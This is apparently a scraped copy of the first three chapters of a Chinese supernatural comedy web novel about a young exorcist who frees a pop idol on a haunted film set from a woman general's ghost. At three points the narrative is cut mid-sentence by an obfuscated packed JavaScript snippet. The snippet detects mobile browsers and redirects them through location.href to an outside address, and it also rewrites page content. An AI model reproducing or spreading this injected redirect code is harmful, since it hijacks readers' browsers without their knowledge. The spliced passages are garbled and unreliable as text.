《阴差今天不上班》 1. 片场闲人 炎炎夏日的一个傍晚，离华丹影视基地大约十公里的一处人造竹林中，一个剧组正顶着38度的高温搭建棚子和设备，幸亏这块的竹林高大又密集，遮挡住了大部分灼热的阳光。 “你说罗导咋想的，最后几场戏去影城里补拍不就完了，非要回来。”一个场务支起最后一处遮阳伞，趁喝水的功夫，看了一眼竹林中间的破庙，“而且不都说这儿闹鬼嘛。” 他眼神一转，又瞧见不远处躺椅上闭目养神的身影，她手上摇着一把折扇，宽大的袖口滑落，纤瘦的手腕上戴着木质串珠。 场务抹了把汗，跟旁边的道具师同事吐槽：“小路你看那个人，真会找地方啊，那块儿是最通风凉快的，本来是苏靖希的地儿。” 小路瞧了一眼，用胳膊肘碰了下他：“你小声点吧，这可是罗导亲自请来的大师。” “什么大师啊，不就一年轻小姑娘。”场务嘟哝着，“别是罗导被糊弄了吧。” “那就不是我们能管的了。”小路摇了摇头，“主要上次大家也是被吓怕了，庙里的夜戏都没拍完，匆匆忙忙就收摊儿跑了。” 听到这事儿，场务一下就来了精神：“诶，上次我不在，你们到底遇着啥了？” 他们组正在拍的古装剧叫《将军年少》，听名字就知道是一部以男主为重心的古偶剧，这次也是斥巨资请了当红顶流偶像苏靖希来饰演男主。 可就是这部演员颜值在线、导演也是拍古偶的老手，名字更是看起来阳气十足的一部剧，却从开机当天就开始莫名其妙地倒霉。 先是开机仪式中，不知道为什么上的香突然断了两根，当时离得最近的苏靖希眼疾手快把倒下的香又重新插回香灰里，罗导还感谢了他。 再是拍摄过程中，不是摄像机黑屏就是拍出来的画面蒙上一层雾，还有刚买的纸伞就莫名其妙折断了，甚至还有一次，苏靖希的车在去片场的路上差点出了车祸。 但大家始终都认为只是巧合和倒霉而已，罗导也每次都让各部门更细致地检查工作设备。 直到上次，在这个竹林破庙里的一场夜戏让见多识广的罗导都冷汗直流，带着大家连夜卷铺盖跑路。 “噫——别提了。”小路说到底也是个二十多岁的年轻女孩，想起来都有点后怕，“我们当时开了多少大灯，还有天灯，一阵风吹过来全熄了，太诡异了……这次我都不想来，罗导说请了大师来镇场，保证了没问题我才来的。” “大师？就那位叫什么……简灵的啊？”场务朝那边努努嘴，“穿身什么什么古风衣服就是大师了啊，真遇上事儿别被吓哭喽。” 其实小路也说不准这位大师灵不灵，她长叹一声，余光看到导演往这边来了，赶紧招呼场务继续干活。 * “金姐，小希哥，导演说可以准备了。”助理一路小跑，过来敲敲苏靖希保姆车，朝里面喊道。 “知道了。” 一个留着茶色短发的女人走下车，虽然此时太阳已经快要落下，可迎面而来的热风仍让她皱了皱眉。 金舒云是苏靖希的经纪人，平时她也并不需要陪着艺人一起来片场，可听说上一次出了岔子，今天她还是决定抽空亲自来看看，盯着剧组补完戏份。 车里的苏靖希也已经做好妆造，探头出来，又飞快地缩了回去：“六点多了怎么还这么热啊！” “别抱怨了，那边都准备好了。”金舒云把他揪下车，耳提面命，“今天就两场戏，还有一场在半夜，会稍微凉快点，坚持坚持。” 苏靖希躲到助理的遮阳伞下，打着呵欠，慢吞吞地往破庙那边挪去。 “本来影视基地里面就有庙的场景，都装了空调的……罗导还非要跑到这个野庙来拍，麻烦死了。” “基地里的庙都太新了，罗导不满意。”金舒云解释道，对于这个正当红的宝贝疙瘩她还是有点耐性的。 本来这座小庙一直作为古建筑作为参观景点，可几乎无人会买票来参观一座不知名的野庙，加上维护费用高昂，于是影视基地那边干脆跟当地合作，负责出维护费用，代价就是他们可以用来拍摄。 她想了想又补充道：“这个野庙维护得不错，还建了实景竹林，氛围感强，更配你的高光戏份。” 想到自己半夜那场戏份，苏靖希一下子就被哄好了，恨不得鼻子都翘到天上。 至于上次所谓的闹鬼，他觉得就只是电路设备坏了而已，什么鬼不鬼的，真是耽误事儿。 第一场要拍受伤的文戏，苏靖希穿着一身白色中衣，脸色被化得带着些病态的白，再涂抹上假血做点缀，本就长得精致漂亮的他一出现就抓住了所有人的目光。 他热得烦躁，捏着剧本当扇子扇风，带着助理径直走到场地里最凉快的通风口，可今天却有个不认识的人躺在他的位置上。 躺椅上的女孩穿着一身轻薄的禅衣，宽大的灯笼裤被夏风吹得晃荡，显得她更加削瘦，宽大的袖口盖着脸，另一只手轻轻摇着扇子，这身装扮乍一看还以为是哪个剧组的群演。 旁边的工作人员们都已经忙碌起来，苏靖希不悦道：“这位闲人是？” 助理赶紧拉了他一把，小声说：“这位是罗导请来驱邪的。” 苏靖希神色微妙，没想到罗导还真当了一回事，不过这人看起来跟自己也差不多大…… “请来跳大神吗？” 话音刚落，旁边的金舒云就一巴掌往他背上拍去，低声呵斥道：“罗导请来的人，你给我放尊重点。” 苏靖希撇撇嘴，转身就想走。 “——等等。” 一道清亮的女声响起，几人扭过头，躺椅上的年轻女孩伸了个懒腰，坐起身来，露出一张秀丽漂亮的脸，肤色竟比化了妆的苏靖希还要白两分，衬得一双眼睛更是黑幽幽的，看不出喜怒。 她的目光在几人身上打了个转，落在苏靖希的脸上。 金舒云心道不好，毕竟是导演的客人，给人落了面子对苏靖希也没什么好处。 “抱歉，是他口无遮拦了。”她闪身上前半步，挡住苏靖希，“这位……请问怎么称呼？” “简灵。” “简小姐，他……” “让一让，不是你。” 简灵朝金舒云挥挥手，目光越过她的肩膀：“这位先生，你周身气息浑浊，又印堂蒙尘，应该是被什么东西缠上了。” 此话一出，在场的几人都震惊了。 但也并不是震惊于“苏靖希被什么东西缠上了”这件事，只是震惊于这个年轻女孩居然、居然…… “……居然骗……说的这么直接吗？”助理小声嘀咕，差点给自己舌头咬了。 简灵看了他一眼：“不应该这么直接吗？” 助理移开眼神：“也、也不是……” “别在这胡说八道了你这个骗子！”倒是苏靖希本就烦躁，听了这话更是怒上心头，指着简灵气冲冲道，“什么被鬼上身要倒霉这种话，你们一天要跟几个人说？” 简灵想了想：“一般像你这种明显的很少，最多一两个吧。” “谁问你了！！” “不是你问的么？” 苏靖希简直无语：“再胡说八道叫警察把你抓走。” 眼看气氛不对，有工作人员赶紧去找导演了。 可简灵也不恼，只问他：“你最近是不是很倒霉？还经常视线模糊，觉得头晕困倦，可晚上却又梦魇缠身，总觉得有什么东西在你床头枕边。” 苏靖希一愣，向她走了半步，语气不自觉弱了几分：“你说的这些在场的谁没有过啊……那不都是工作到晚上，人太困了么。” “你是不是还总是能闻到一些香火之气？” 炎炎夏日，苏靖希倒吸一口凉气，只感觉背脊一阵发寒。 简灵看出了他的表情变化，朝他伸出手：“把你的手给我看看。” 不知什么时候都走到她面前了，苏靖希低头一看，女孩的手臂上竟然有一条细细的红色的疤，一直延伸到手掌心。 她晃了晃手指示意，苏靖希纠结了一下，慢吞吞把手伸过去：“就是最近太累……啊啊啊！” 简灵手腕一翻，趁其不备将一张符纸拍进他的手心，苏靖希像是触电了一般痛得跳脚还吱哇乱叫着后退，可手却像是被黏在了那张符纸上一般动也不动。 “小希……”金舒云想去拉他，可他很快就不喊了，反而好奇地看着符纸上的变化。 大约几秒钟的工夫，简灵双指捏住符纸，像揭开贴纸般轻轻一撕就拿开了。 突然没了受力的苏靖希往后倒退两步，深深地呼出了一口气，突然觉得这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180911|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段时间的疲惫一扫而空，眼中迸发出几分惊喜。 “小希，没事吧？”金舒云关切道，这一套动作下来把她看得胆战心惊，生怕公司这个宝贝疙瘩出了什么事。 苏靖希看看自己的手，愣愣道：“没事，就像静电电了一下，吓了一跳。” 他盯着简灵指尖的符纸，一缕若隐若现的烟雾正缠绕着符纸飘荡，问道：“这是什么？” 简灵“咦”了一声：“你能看见？” “什么？” 趁苏靖希愣神的工夫，简灵飞快抬手用拇指蹭了下他的额头眉心，把他惊得后跳，捂着额头大喊：“你干什么！” “唔……难怪容易招东西。” 苏靖希觉得这个女孩简直神神叨叨的，气恼得龇牙咧嘴。 “简大师，简大师！您千万别跟小孩子一般见识，他们入行晚，有眼不识泰山。”闻讯而来的导演急忙赶来充当和事佬，转头对苏靖希跨起脸，“小希啊不要闹，简大师是我专门托人情请来的，这也是为了保护你们安全。” “我……”苏靖希辩解无门，欲哭无泪，他明明啥也没有干吧！ 罗导演这才注意到简灵手上的符，小心问她：“简大师，您这是要……？” 符纸上缠绕的烟雾一般人确实看不到，简灵从包里摸出一个做工精致的小球，口中念诀。 众人不知道大师这是掏出了什么厉害的法器，顿时屏气凝神，一旁的小路多看了两眼，小声惊讶道：“葡萄纹花鸟银香囊？” 简灵冲她一笑：“做工还可以吧？网上买的，挺便宜，我给开了个光。” 众人：…… 苏靖希：“……原来只是网上买的吗！” “那不然呢，真品在博物馆里呢。”简灵奇怪地看他一眼。 她将符纸靠近小球，不一会儿香囊球就凭空散发出了一缕烟雾，若隐若现，仿佛里面放了一颗点燃的香球。 “这、这是什么？”罗导演惊讶地推了推眼镜。 简灵晃了晃香囊球，那缕烟雾始终不会散去：“这就是最近缠上那位……呃，你叫什么来着？” “我？？”苏靖希指着自己的鼻子，满脸震惊，“你不认识我？？” “确实是第一次来你们剧组。” 苏靖希气急败坏：“我是苏靖希啊！” “哦。”简灵点点头，“你好，苏靖希先生，这就是最近缠上你的东西，一缕线香。” “线香？！”众人惊讶。 简灵点头，转向罗导演：“你之前不是说过，苏靖希在香炉里扶起了一根香吗？估计就是那时候缠上他的。” 罗导演也不是第一次拍戏了，开机大礼都办过不知道多少回，但也是头一回遇到这种事儿，他茫然问道：“香也能变这种脏东西啊？” “诶，精怪可不都是脏东西。”简灵摇摇头，晃了晃手中的香囊球，“你们开机礼上的香炉是租来的吧？” “这……”罗导演迟疑地点点头，“影视基地的剧组都会租用，一般就那么几家。” “香炉里的香灰过于杂乱，不止你们这种上香祈福的，还有人点香是为了看燃烧的香灰预测吉凶的，残灰中执念与欲望融合，最易成精。” 金舒云听完这话脸都白了几分：“那对小希有影响吗？” “放心吧，绝大多数都沾染了灵气，没有恶意的，也很少会找上人。”简灵若有所思地看了一眼苏靖希，“找上苏靖希应该是他的问题。” 苏靖希一听更加炸毛：“什么叫我的问题！” “你是不是从小就老倒霉了？” “我……”苏靖希闭了嘴，偷偷在心中琢磨着。 虽然早就知道苏靖希是有点霉运在身上的，如今被证实了，金舒云还是抱着一丝期待问：“那简大师，有什么办法改善吗？” “改什么改善，不就是运气差点吗。”苏靖希拖着金舒云离开，一边还嚷嚷着该工作了，“罗导，现在事情都解决了，快点拍吧别耽误时间。” 罗导演无奈地摇了摇头，没想到困扰了剧组这么久的事情被简灵分分钟解决了，连连道谢后也去忙了。 可简灵却若有所思地看了一眼竹林中的那座破庙，手中把玩着精致的香囊球，让它在指尖飞快横跳，似是自言自语道：“你能有这么大能耐？” 2. 见鬼了 恢复精神的苏靖希终于挥散了这段时间的昏沉，如同打了鸡血一般，傍晚的戏份基本都两三条过了。 等他换好拍夜戏的妆造，时间已经临近深夜，各种补光灯和天灯都已经点亮，把正片竹林照得恍若白昼。 “好，下面这条是你站在庙里的镜头，深夜被追到破庙，只剩你一人，打开庙门之后你直面追兵……” “嗯嗯，我知道了，要有一往无前、视死如归的气势！”苏靖希点头，拿过化妆师的镜子照了照，很满意自己这身战损妆造。 这个镜头是全剧的高光之一，身上这套盔甲也是斥巨资打造的，将苏靖希瘦弱的身板衬得壮硕了不少，往那儿一站就是英姿勃发的少年将军。 跟导演确定好站位，试了两次之后正式开拍。 苏靖希站在庙门内，手中长剑指地，横刀立马的模样让罗导在镜头中看了又看，很是满意：“不错不错，就这样保持啊——场务，去把门关上！” 他对着对讲机喊：“各部门就位啊，听我指令，准备开门了。” 今天是最后一场戏，等拍完整部剧就正式杀青了，所有工作人员都怀着期待又轻松的心情。 其中一个摄影正愉快地哼着歌，忽然设备里的画面颤动几下，镜头直接黑了。 刚准备举手示意就听见导演喊了开始，他迟疑片刻，反正还有另外几台摄影，应该没什么大事。 可偏偏不只他这边出问题，两个负责拉开门的场务在门口卡了半天，等得罗导演直接喊咔，无语地拿着喇叭大喊：“干什么呢你俩，开门啊！没吃饭吗！” 场务急得直冒汗，使劲儿扯着纹丝不动的门，匆匆解释道：“门卡住了，拉不开！” 罗导演“啧”了一声，旁边副导安慰他：“老庙嘛部件老化也很正常，没事儿，让人赶紧弄一下就行。” 话音刚落，没由来一阵风刮过竹林，簌簌声听在耳里直教人头皮发麻，所有的设备灯毫无规律地闪烁了几下……明明是盛夏的夜晚，在场所有人却感觉到一股寒意。 在旁边无聊等下班的简灵腾得站起来，盯着大门紧闭的老庙方向。 下一刻，老庙里传来苏靖希的尖叫。 “啊——！！” …… 苏靖希造型都摆好半天了，可外面一直只传来吵闹的人声，却迟迟没有开门开拍的意思。 “怎么这么慢。”他嘀咕着，右手偷偷转了转，缓解一下快要僵硬的手腕。 等得不耐烦了，苏靖希抬手去敲门想问问门口待命的人外面什么情况，可当他的手碰到大门的那一刻，一股黏着感覆上他的手背。 苏靖希心头猛地一跳，大力捶门，可一下下都仿佛砸在了透明的软垫上似的。 这下他慌了神，连忙向外喊：“有人吗？有人在吗！喂？？Hello？？” 一阵刺骨的寒意无声无息地爬上他的背脊，苏靖希僵在原地，庙外的声音逐渐远去，像是自己戴上了降噪耳机一样，耳边响起一个柔和的、厮磨般的声音。 “你不会用剑。” “握剑的手怎么能抖。” “让我教你吧……” 苏靖希一句话都说不出来，上下牙因为恐惧而轻微打颤，眼睁睁看着自己握剑的右手凭空抬起，可剑尖也跟着手轻轻颤抖着。 “废物。” “如此废物，还想当将军。” “花拳绣腿，去后军当伙夫都被嫌！” 完全不知道是谁在自己耳旁说话，苏靖希脑子一片空白，可内心却莫名升起一股悲愤之意，自己身披盔甲，手握长剑，倒是第一次对剧情里英勇赴死这一段有了实质的感受。 “……救、救命……”可情绪是情绪，身体却害怕得很诚实，苏靖希拼命从嗓子里挤出两个字，声量比蚊子还小。 那个声音听了似乎更生气了，一时间庙里凭空升起乱风，将铺满地的稻草和桌上的假贡品卷得到处都是，完全不能控制自己身体的苏靖希都快吓哭了。 “废物就是废物，大战当前，栗栗危惧，还不如自刎谢罪——！” 苏靖希眼看着自己的右手执剑横在自己的脖子上，寒意几乎要刺破皮肤，他气血涌上头，拼了命地大喊出声。 “啊——！！” 下一刻庙门被破开，一道清丽的身影飞一般闯了进来，简灵手执黄符一巴掌拍到苏靖希的头顶。 “巽风裂魄，艮岳压形，现！” 话音刚落，一道凄厉的声音响起，雌雄莫辨，庙内顿时狂风大作，刚破开的庙门又被“砰”得一声关上！ 门外的围观群众一个比一个震惊，离得最近的两个场务更是吓呆了，亲眼看到苏靖希拿着剑仿佛要自刎的模样…… “什么玩意儿！是在演戏吗？还是中邪了啊……幸、幸亏那个道具剑没开刃。”其中一个人后退几步，庆幸道。 另一个人艰难转头，面色难看极了：“但你没看到吗，苏靖希的脖子上好像有血迹……” 庙里简灵一把拉过苏靖希，他也终于找回了自己身体的控制权，却因为害怕而腿软，差点一头栽在地上。 简灵看起来瘦弱，却能单手将苏靖希一个一米八几的男人稳稳扶住，让他靠在门边坐下，背后鬼气四溢也丝毫影响不到她。 “行了，千年的老鬼了，欺负一个普通人算什么本事。”简灵微微一笑，“让我来会会你。” 她的眼中闪过一道微不可见的绿光，霎那间视野中颜色尽褪，惨淡的世界里一个浅浅的虚影逐渐浮现。 “你究竟是什么人！” 鬼影撕扯着自己的破锣嗓子，状似要吓唬吓唬二人，看出了简灵不好对付，掀起一阵狂风涌向她，迷惑了她的视线，而自己则仗着人类碰不到自己的身体，连闪几下直奔后面快要吓死的苏靖希。 简灵挥开草屑，顺着狂风猛然跃起，一脚蹬在庙门上借力而起，长腿一伸向鬼影踹去！ 鬼影也始料未及，被她直直踢倒在地，语气中错愕万分：“你怎么能碰到我？！你是修道之人？” “不是哦。”简灵一个空翻落到鬼影身后，伸手向它头顶盖去。 可鬼影居然闪避躲开，像模像样地与她交手，几招下来简灵发现单凭武力自己竟然落于下风，于是干脆伸手取下头上的簪子，用红色那头飞快在鬼影周围画起符咒来。 符咒落下，庙内的狂风消停下来，鬼影的嘶鸣声也越来越小，在红色咒圈内逐渐显示出真型，居然是一名英气的女子。 简灵观察她半晌，女鬼只轻蹙眉头，眼神中没有厉鬼的凶意，平静得如一汪清澈的湖水，丝毫不见刚才一副要生吃人的模样。 “你……”简灵刚开口就被身后吱哇乱叫的苏靖希打断，她无奈地摇了摇头，蹲下拍他，“喂。” “啊啊啊别吃我！！各路神仙佛祖哈利路亚，祖宗保佑千万别吃我我还想拍戏唱歌还想红遍世界呢求求了别吃我……” 简灵用力一巴掌拍他背上：“没事了！” “啊？”苏靖希小心翼翼地从膝盖中抬起头，眼神滴溜溜地转，看到庙内终于风平浪静，他拍拍胸脯，尽力安抚着狂跳的小心脏。 “……没事了？” “嗯。” “鬼呢？” “你看不到？” 看他的确一脸茫然的样子，简灵搓了搓下巴，原来是个天眼未开完的纯阴之体，难怪那么容易招惹精怪呢。 简灵手中转着簪子，嘿嘿一笑，突然用簪子尖头刺进苏靖希的眉心，扎了个浅浅的坑。 “啊！”苏靖希捂着额头大叫，一摸居然手指上沾了一丝丝血迹，“你、你干嘛？！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180912|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “喏——”简灵抬头示意一旁站着的女鬼，耸了耸肩，“这不是看见了？” 苏靖希茫然抬头，庙中间出现一个穿着古装的女性，头发略微凌乱，但看起来正气凛然，哪有恶鬼的模样。 他愣了愣：“这是哪位……群演？” 简灵回头看女鬼：“你吓吓他。” 女鬼从善如流，披散的头发张牙舞爪地飞舞，眼睛逐渐化为两个漆黑的洞，流出黑红的血，张开嘴裂至耳朵，活脱脱一个从地狱爬出来的恶鬼。 “啊啊啊——”苏靖希一个恐慌抱住了简灵的腿，被简灵两下甩开。 “好了好了，收。” 女鬼见状很快恢复了原来的模样，皱着眉头很是嫌弃苏靖希。 “我怎么……”苏靖希咽了下口水，扶着门慢慢站起来，小心翼翼地盯着女鬼，“我这是看见鬼了？” “是啊，你本来就能看见。” 简灵伸手点点他的额头：“你有天眼。” “天眼是啥，能看到鬼？”苏靖希脸色煞白，“我怎么会有这玩意儿。” “不止能看到，还容易招惹。” 其实苏靖希不是没感觉到自身的异常，正如简灵所说，他从小到大都老倒霉了，但一直洗脑自己只是倒霉而已，这下好了，原来真的是撞邪。 他好想哭，看到女鬼还站在那儿更是心中难受：“你说你弄死我干什么啊！我啥坏事都没干过，老老实实唱歌演戏好不容易熬到现在，我选秀的时候连粉丝都没私联过呜呜……” 说到这儿简灵也很好奇：“我看你身上毫无厉气，想来千百年来都没有害过人，为什么突然伤他？” 女鬼冷哼一声，看苏靖希哭得梨花带雨更是气不打一出来：“懦夫！” 原来这女鬼本名叫谢慈，是不知道多少年前的前锋将军，当年为了将情报送出去，谢慈一人作饵引开追兵，被围堵至这间庙中，最终双拳难敌四手，战死于此。 ——跟罗导演拍的这部古装剧几乎是一模一样的剧情，苏靖希扮演的将军也是被围堵于此，即将发生一场大战。 “面对敌军，本该有以一敌百的气势！”谢慈横眉冷对，眼刀恨不得将苏靖希千刀万剐，“可他却双手打颤，连剑都握不紧，还敢称一声少年将军！” 苏靖希：？？？ 他哭笑不得：“冤枉啊，我又不会真功夫！” “他们这个是假的。”简灵也笑出声，好心帮他辩解了两句，“就是搭戏台，唱戏演画本子，你能明白吗？” 谢慈喟叹一声：“我明白。” 不知为何，她的灵魂久久没有离去，盘亘于此，成了个孤魂野鬼。 千百年来时代变迁，她先是偶尔能看到来借路的人，再后来这儿倒塌又重建，成了参观景点，这个剧组也不是第一个来借景拍摄的，久而久之她也明白了拍戏都是假的。 “只是既难过又不甘，看到他就勾起了你千百年前的回忆，是吧。”简灵平静地说着，“你天生正直，毫无恶念，没有化作厉鬼却也没转世投胎，估计是心中有什么执念。” 谢慈低头看着自己的双手，低声道：“大约是吧。但是时间太久，已经想不起来了……罢了，你渡化我吧。” 误会解除，苏靖希看谢慈也没那么害怕了，看她这样自己心里也有些难受，唏嘘着：“好惨。” “的确挺惨的。”简灵从随身的货郎包里摸出一张小人形状的符纸，诱惑般地朝她晃了晃，“要不给你点时间找回忆？跟我走吧。” 谢慈一怔。 面前这个看似修道的女孩，身上却没有令鬼颤栗的气息，反而是一种同类的味道。 她迟疑问道：“修道之人也只看得见却摸不着鬼，你……到底是什么人？” 简灵咧嘴一笑：“我可是阴差。” 3. 纸人一片 “罗导，要不咱报警吧。” 庙门紧闭好一会儿了，里面噼里啪啦的也不知道到底发生了什么事，除了苏靖希的叫声再没听到别的声音，罗导演现在也很纠结。 “报警真的有用吗……”众人都围在庙门前，罗导演无奈扶额。 “就算不报警也得把门弄开。”金舒云在一旁急切道，其他人她管不着，苏靖希可是真真切切被吓到尖叫，万一出什么事她没办法跟公司和粉丝们交代。 她上前一步，招呼几个扮作士兵的男群演，许诺谁能拉开门就能领一万块钱。 重赏之下必有勇夫，虽然也有点怵所谓的闹鬼，但几个男群演还是撸起袖子开始拉门。 陈旧的庙门像是被死死焊住，五六个大男人拉着也纹丝不动，盛夏的夜晚，在场所有人都没觉得炎热，反而汗毛直立，背上渗出一层冷汗。 “里面好像有声音了！”离得最近的一个群演惊喜喊道，几个人更是齐心协力，口号喊起来，三二一猛地一拉—— 如同焊死的庙门忽然泄力，几个人像麻将一样呼呼啦啦往后倒去，本就破旧的庙门在大力之下直接断裂，豁然大开。 “……简大师，你就收我为徒吧！” 众人惊喜上前，正看到刚还中邪了一样的苏靖希对着简灵重重一跪，在野庙的佛像下，他神色严肃又认真，不像演的。 金舒云：……？ “呃……” 一瞬间周围的空气都安静了下来，旁边的演员和工作人员们轻轻倒吸一口凉气，眼神飘忽，不知道该往哪看。 大新闻大新闻，不可一世的当红偶像演员苏靖希对着一个素人女孩下跪了，那阵仗，那表情，啧啧啧。 第一时间反应过来的简灵挑眉一笑，苏靖希尴尬定住，缓缓转头，整个剧组都在门外围观他下跪拜师。 他一骨碌爬起来，蹬得稻草乱飞，强装镇定地拍了拍身上的杂草：“咳咳……怎么门突然开了。” “鬼驱完了，她形成的结界自然也就消散了。”简灵抬脚走出看起来快要散架的老庙，对罗导演点点头，“这次是真的好了。” 庙里散乱的样子令人难以想象刚刚经历了一场什么大战，罗导演茫然：“这是又闹鬼了？” “嗯，苏靖希倒霉和上次剧组断电是两个原因。”简灵简单地解释了下，“现在这个老庙里已经没鬼怪了，罗导你可以放心拍。” 折腾了大半夜，罗导演估摸着大家也没心思继续拍了，犹豫道：“要不今天大家休息，明晚再继续？尤其是苏靖希你……” “不用！” 没想到苏靖希竟然没受到一点影响，雄赳赳气昂昂地抬头，脖颈上还残留着血丝，狠狠抹了一把脸：“现在就拍！我没问题！” 苏靖希一脸自信，头发凌乱地散落在鬓边，可眼睛却闪着异常坚定的色彩。 正如他拍胸脯保证的那样，接下来的拍摄异常顺利，男主角英勇赴死、以一当百的气势比试戏时更加光彩夺目。 围观的金舒云都忍不住称奇，苏靖希是她从偶像时期一手带出来的，流量虽大，演技嘛……只能说未来可期。 可这场戏的苏靖希似乎真正地代入了这个少年将军的角色，意气风发，连眼神中都带着赴死的决心。 “这小子，怎么突然演的这么好了？”金舒云啧啧称奇，“像被附身了似的。” 简灵在一旁欣然点头：“确实是被附身了。” 金舒云：？？ 拍完最后一场高光戏，这部剧算是彻底杀青了，简灵也是很负责地陪到了最后，四点多的天已经蒙蒙亮，她困倦地打了个超长的呵欠。 “简大师，这次真是太感谢您了！”罗导演人到中年却是最有精力的一个，熬大夜也丝毫不见倦意，“今天是来不及了，我们剧组这周末晚上办个杀青宴，简大师一定要来赏光啊！” 苏靖希也猛点头：“一定要来啊师父。” 简灵：“……谁是你师父。” “别啊师父，你都说了我有天赋，就收了我吧！”苏靖希连假发都来不及摘，锲而不舍地滚到简灵身边，“你不能不负责啊！” 早知道就不给他打开天眼了……简灵无奈：“让我考虑考虑。” “得嘞！”苏靖希笑嘻了，被化妆师按回车里卸妆，还不忘叮嘱简灵，“师父你等我一会儿啊，坐我车，我送你回家啊。” 金舒云冷笑：“信不信你六点送简小姐回家，七点你的绯闻就能上热搜。” “不了。”简灵听闻果断拒绝，“我可不想跟你这种人传绯闻。” “？”苏靖希再次探头出来，精致的五官皱在一起，“什么意思？我这种人是什么人，你说清楚？” 两人都懒得他，金舒云将简灵送上车：“今天谢谢你救了小希，简小姐，晚些会将酬谢打给你，至于他拜师的事……” 见她犹豫，简灵比了个OK的手势：“放心吧，我不会当真的。” “多谢，小希他就是一头热，过几天就忘了。” …… 简灵的工作经常需要晚上守夜，习惯熬大夜了，回家就一觉从早上太阳升起睡到下山。 在沙发上醒来时，迷迷糊糊中碰到了什么东西，她闭着眼顺着冰冷的但柔软的什么东西一路往下摸……摸到了一只手。 她睁开眼，黑暗中一个白衣女子正盘腿坐在面前的地板上，而自己正抓着人家的玉手。 “你醒了。” 简灵一骨碌坐起来，看到谢慈还愣了一下，随即想起是自己把她从片场带出来的。 她顿时泄了力，捂着眼睛向后倒去，瘫软在靠背上：“你坐这儿干嘛，吓我一跳。” 谢慈环顾四周，严肃道：“夜要深了，怕你睡觉时遇到攻击。” “现在法治社会，闯门杀人应该比较难。” “这是你家吗？”开灯后，谢慈好奇地四处打量着，她虽然经历了千百年的世界变化，但还是第一次离开庙里。 “是啊。” “好小。” 简灵：…… 不要人身攻击行吗。 她开了两罐冰可乐，递给谢慈一罐：“我一个人住，这么大就够了，现在很多人都不会跟父母家族一起生活。” 谢慈迟疑地接过可乐：“我可以喝吗？” “当然。”简灵灌了几大口可乐，解释道，“你现在是附身在我的纸人上，从外表看跟活人无异，吃喝都没问题，就是尝不出味儿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180913|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然没有味道，但气泡超足的可乐还是让谢慈呛了一大口，剧烈地咳嗽几声，久违地体会了一把做人的感觉。 简灵笑了笑，打开电视调出了视频网站：“我去洗个澡，你先随便看看——但是里面不是真的人，你不要一拳揍坏这个东西。” “我能理解。”谢慈双手比划了一个方块，“有些人在庙里休憩时也会看，他们都拿着比这个小许多的……好像叫手机，头一回见的时候我还很是惊讶。” “对，里面放的就是苏靖希他们演的那种话本，都是假的。” “自然是假的，谁会相信那个花拳绣腿的小子是将军。”谢慈冷哼一声，“我明白，不会当真的。” 可当简灵神清气爽地洗漱完出来，谢慈正盘腿坐在电视面前，像是一个对电视恋恋不舍的小孩子，眼中湿润，时不时还用袖子擦拭几下眼泪。 看见简灵过来，谢慈偏过头泪眼汪汪地说：“原来杜家小姐这么多年一直都过得如此艰难，这家人真不是东西。” 简灵：……说好的不会当真呢？ 等她看完这集古装剧，简灵已经随便煮了点吃的：“我一个人晚饭都是随便对付下，你有兴趣就尝两口。” “我随军时吃的比这些简单多了，如今没有战乱，大家都能吃饱肚子，真好。”谢慈在她对面坐下，“我会做些吃食，若你不嫌弃，我日后可以为你做饭，以报答你的恩情。” 简灵微微皱眉，放下筷子，认真地看着她的眼睛：“不行，千万要记住……你绝对不能碰火，知道吗？” 谢慈一愣，低头端详着自己的手，就连掌心薄茧都清晰可见，外表看起来与常人无异，可她早已死了千百年，现在只是纸人一片。 “好，我记住了。” “你要真想报答，就当我的助手保镖吧，反正你身手这么好。”简灵胡乱往嘴里塞了几口泡面，含糊不清道，“我的工作经常要到处跑，你也能多出去转转，看能不能想起一些什么。” “多谢。” 吃完饭，简灵想给她翻找一身能在现代社会穿的衣服，可谢慈比她高起码十公分，翻来翻去只有一套被她当居家服的圆领袍勉强能穿。 “哎，先将就一下，等明天带你出去买吧。”简灵挠挠头，重新瘫回沙发上，困倦地打了个呵欠。 谢慈从卧室换完衣服出来，张了张嘴，犹豫半晌才问出心中疑问：“我看你家也不像修道之人的模样，你说你是阴差……阴差到底是什么人？” “阴差不是人。” “不是人？”谢慈惊讶。 简灵耸了耸肩：“反正我奶奶是这么说的，但我除了能触碰到精怪鬼魂，其他的好像跟人也没什么区别。” “那你们是专门驱鬼的？” “严谨来说是专抓恶鬼的，只是这年头恶鬼不多，所以只能帮人看看风水、驱驱邪，权当糊口了。”简灵看到账户上刚收到罗导和金舒云打来的高额薪酬，无聊地按掉手机。 虽然她挣得多，但累啊！ 